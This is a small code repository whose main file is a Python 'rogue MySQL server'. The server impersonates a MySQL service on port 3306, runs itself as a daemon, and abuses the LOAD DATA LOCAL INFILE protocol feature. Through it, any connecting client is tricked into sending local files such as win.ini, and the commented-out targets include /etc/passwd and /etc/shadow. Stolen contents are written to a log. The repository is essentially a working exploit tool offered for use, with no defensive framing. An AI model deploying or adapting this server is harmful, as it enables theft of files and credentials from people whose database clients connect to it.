├── README.md ├── .gitignore ├── LICENSE └── rogue_mysql_server.py /README.md: -------------------------------------------------------------------------------- 1 | Rogue-MySql-Server 2 | ================== 3 | 4 | Rogue MySql Server 5 | -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | *.py[cod] 2 | 3 | # C extensions 4 | *.so 5 | 6 | # Packages 7 | *.egg 8 | *.egg-info 9 | dist 10 | build 11 | eggs 12 | parts 13 | bin 14 | var 15 | sdist 16 | develop-eggs 17 | .installed.cfg 18 | lib 19 | lib64 20 | 21 | # Installer logs 22 | pip-log.txt 23 | 24 | # Unit test / coverage reports 25 | .coverage 26 | .tox 27 | nosetests.xml 28 | 29 | # Translations 30 | *.mo 31 | 32 | # Mr Developer 33 | .mr.developer.cfg 34 | .project 35 | .pydevproject 36 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | Copyright (c) 2013, Gifts 2 | All rights reserved. 3 | 4 | Redistribution and use in source and binary forms, with or without modification, 5 | are permitted provided that the following conditions are met: 6 | 7 | Redistributions of source code must retain the above copyright notice, this 8 | list of conditions and the following disclaimer. 9 | 10 | Redistributions in binary form must reproduce the above copyright notice, this 11 | list of conditions and the following disclaimer in the documentation and/or 12 | other materials provided with the distribution. 13 | 14 | THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND 15 | ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED 16 | WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE 17 | DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR 18 | ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES 19 | (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; 20 | LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON 21 | ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT 22 | (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS 23 | SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. -------------------------------------------------------------------------------- /rogue_mysql_server.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | #coding: utf8 3 | 4 | 5 | import socket 6 | import asyncore 7 | import asynchat 8 | import struct 9 | import random 10 | import logging 11 | import logging.handlers 12 | 13 | 14 | 15 | PORT = 3306 16 | 17 | log = logging.getLogger(__name__) 18 | 19 | log.setLevel(logging.DEBUG) 20 | tmp_format = logging.handlers.WatchedFileHandler('mysql.log', 'ab') 21 | tmp_format.setFormatter(logging.Formatter("%(asctime)s:%(levelname)s:%(message)s")) 22 | log.addHandler( 23 | tmp_format 24 | ) 25 | 26 | filelist = ( 27 | # r'c:\boot.ini', 28 | r'c:\windows\win.ini', 29 | # r'c:\windows\system32\drivers\etc\hosts', 30 | # '/etc/passwd', 31 | # '/etc/shadow', 32 | ) 33 | 34 | 35 | #================================================ 36 | #=======No need to change after this lines======= 37 | #================================================ 38 | 39 | __author__ = 'Gifts' 40 | 41 | def daemonize(): 42 | import os, warnings 43 | if os.name != 'posix': 44 | warnings.warn('Cant create daemon on non-posix system') 45 | return 46 | 47 | if os.fork(): os._exit(0) 48 | os.setsid() 49 | if os.fork(): os._exit(0) 50 | os.umask(0o022) 51 | null=os.open('/dev/null', os.O_RDWR) 52 | for i in xrange(3): 53 | try: 54 | os.dup2(null, i) 55 | except OSError as e: 56 | if e.errno != 9: raise 57 | os.close(null) 58 | 59 | 60 | class LastPacket(Exception): 61 | pass 62 | 63 | 64 | class OutOfOrder(Exception): 65 | pass 66 | 67 | 68 | class mysql_packet(object): 69 | packet_header = struct.Struct('> 16, 0, self.packet_num) 84 | 85 | result = "{0}{1}".format( 86 | header, 87 | self.payload 88 | ) 89 | return result 90 | 91 | def __repr__(self): 92 | return repr(str(self)) 93 | 94 | @staticmethod 95 | def parse(raw_data): 96 | packet_num = ord(raw_data[0]) 97 | payload = raw_data[1:] 98 | 99 | return mysql_packet(packet_num, payload) 100 | 101 | 102 | class http_request_handler(asynchat.async_chat): 103 | 104 | def __init__(self, addr): 105 | asynchat.async_chat.__init__(self, sock=addr[0]) 106 | self.addr = addr[1] 107 | self.ibuffer = [] 108 | self.set_terminator(3) 109 | self.state = 'LEN' 110 | self.sub_state = 'Auth' 111 | self.logined = False 112 | self.push( 113 | mysql_packet( 114 | 0, 115 | "".join(( 116 | '\x0a', # Protocol 117 | '3.0.0-Evil_Mysql_Server' + '\0', # Version 118 | #'5.1.66-0+squeeze1' + '\0', 119 | '\x36\x00\x00\x00', # Thread ID 120 | 'evilsalt' + '\0', # Salt 121 | '\xdf\xf7', # Capabilities 122 | '\x08', # Collation 123 | '\x02\x00', # Server Status 124 | '\0' * 13, # Unknown 125 | 'evil2222' + '\0', 126 | )) 127 | ) 128 | ) 129 | 130 | self.order = 1 131 | self.states = ['LOGIN', 'CAPS', 'ANY'] 132 | 133 | def push(self, data): 134 | log.debug('Pushed: %r', data) 135 | data = str(data) 136 | asynchat.async_chat.push(self, data) 137 | 138 | def collect_incoming_data(self, data): 139 | log.debug('Data recved: %r', data) 140 | self.ibuffer.append(data) 141 | 142 | def found_terminator(self): 143 | data = "".join(self.ibuffer) 144 | self.ibuffer = [] 145 | 146 | if self.state == 'LEN': 147 | len_bytes = ord(data[0]) + 256*ord(data[1]) + 65536*ord(data[2]) + 1 148 | if len_bytes < 65536: 149 | self.set_terminator(len_bytes) 150 | self.state = 'Data' 151 | else: 152 | self.state = 'MoreLength' 153 | elif self.state == 'MoreLength': 154 | if data[0] != '\0': 155 | self.push(None) 156 | self.close_when_done() 157 | else: 158 | self.state = 'Data' 159 | elif self.state == 'Data': 160 | packet = mysql_packet.parse(data) 161 | try: 162 | if self.order != packet.packet_num: 163 | raise OutOfOrder() 164 | else: 165 | # Fix ? 166 | self.order = packet.packet_num + 2 167 | if packet.packet_num == 0: 168 | if packet.payload[0] == '\x03': 169 | log.info('Query') 170 | 171 | filename = random.choice(filelist) 172 | PACKET = mysql_packet( 173 | packet, 174 | '\xFB{0}'.format(filename) 175 | ) 176 | self.set_terminator(3) 177 | self.state = 'LEN' 178 | self.sub_state = 'File' 179 | self.push(PACKET) 180 | elif packet.payload[0] == '\x1b': 181 | log.info('SelectDB') 182 | self.push(mysql_packet( 183 | packet, 184 | '\xfe\x00\x00\x02\x00' 185 | )) 186 | raise LastPacket() 187 | elif packet.payload[0] in '\x02': 188 | self.push(mysql_packet( 189 | packet, '\0\0\0\x02\0\0\0' 190 | )) 191 | raise LastPacket() 192 | elif packet.payload == '\x00\x01': 193 | self.push(None) 194 | self.close_when_done() 195 | else: 196 | raise ValueError() 197 | else: 198 | if self.sub_state == 'File': 199 | log.info('-- result') 200 | log.info('Result: %r', data) 201 | 202 | if len(data) == 1: 203 | self.push( 204 | mysql_packet(packet, '\0\0\0\x02\0\0\0') 205 | ) 206 | raise LastPacket() 207 | else: 208 | self.set_terminator(3) 209 | self.state = 'LEN' 210 | self.order = packet.packet_num + 1 211 | 212 | elif self.sub_state == 'Auth': 213 | self.push(mysql_packet( 214 | packet, '\0\0\0\x02\0\0\0' 215 | )) 216 | raise LastPacket() 217 | else: 218 | log.info('-- else') 219 | raise ValueError('Unknown packet') 220 | except LastPacket: 221 | log.info('Last packet') 222 | self.state = 'LEN' 223 | self.sub_state = None 224 | self.order = 0 225 | self.set_terminator(3) 226 | except OutOfOrder: 227 | log.warning('Out of order') 228 | self.push(None) 229 | self.close_when_done() 230 | else: 231 | log.error('Unknown state') 232 | self.push('None') 233 | self.close_when_done() 234 | 235 | 236 | class mysql_listener(asyncore.dispatcher): 237 | def __init__(self, sock=None): 238 | asyncore.dispatcher.__init__(self, sock) 239 | 240 | if not sock: 241 | self.create_socket(socket.AF_INET, socket.SOCK_STREAM) 242 | self.set_reuse_addr() 243 | try: 244 | self.bind(('', PORT)) 245 | except socket.error: 246 | exit() 247 | 248 | self.listen(5) 249 | 250 | def handle_accept(self): 251 | pair = self.accept() 252 | 253 | if pair is not None: 254 | log.info('Conn from: %r', pair[1]) 255 | tmp = http_request_handler(pair) 256 | 257 | 258 | z = mysql_listener() 259 | daemonize() 260 | asyncore.loop() 261 | --------------------------------------------------------------------------------